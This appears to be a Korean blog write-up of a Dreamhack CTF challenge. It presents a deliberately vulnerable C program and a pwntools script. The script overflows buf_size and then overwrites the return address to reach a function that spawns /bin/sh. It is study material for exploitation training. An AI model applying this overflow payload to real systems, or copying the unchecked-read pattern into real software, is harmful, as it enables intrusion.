728x90


보호기법 확인

got overwrite나 stackoverflow를 사용할 수 있겠다
문제코드
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
문제코드를 보면 코드내 flag 함수를 실행시키면 flag를 얻을 수 있다
첫번째 입력에서 buf_size(16)만큼 buf를 입력받는다
buf에 6만큼 읽었을시 cherry가 맞다면 한번더 입력을 받는다
일단 디버깅으로 stack frame을 봐야 알겠다
buf와 buf_size와의 거리가 16보다 적다면 buf_size값을 변조할 수 있다
디버깅

main stack frame

buf입력을 16만큼 받는데 buf_size와의 거리가 12
buf_size가 4바이트이므로 충분히 가능하다
그렇다면 첫번째 입력에서 cherry와 무작위값을 16만큼 넣고
2번째 입력에서 ret에 flag주소를 넣는다면
쉘을 얻을 수 있다
payload
from pwn import *
p = remote('host3.dreamhack.games', 23096)
e = ELF('./chall')
shell = e.symbols['flag']
p.recvuntil(b': ')
payload = b'cherry'
payload += b'A'*10
p.send(payload)
p.recvuntil(': ')
payload = b'a'*26
payload += p64(shell)
p.send(payload)
p.interactive()
결과

'시스템해킹' 카테고리의 다른 글
| [드림핵] mmapped 풀이 (0) | 2024.11.03 |
|---|---|
| [드림핵] cpp_string 풀이 (1) | 2024.10.14 |
| [드림핵] awesome-basics 풀이 (0) | 2024.09.12 |
| [드림핵] pwn-library 풀이 (0) | 2024.09.12 |
| [드림핵] basic_heap_overflow 풀이 (0) | 2024.09.07 |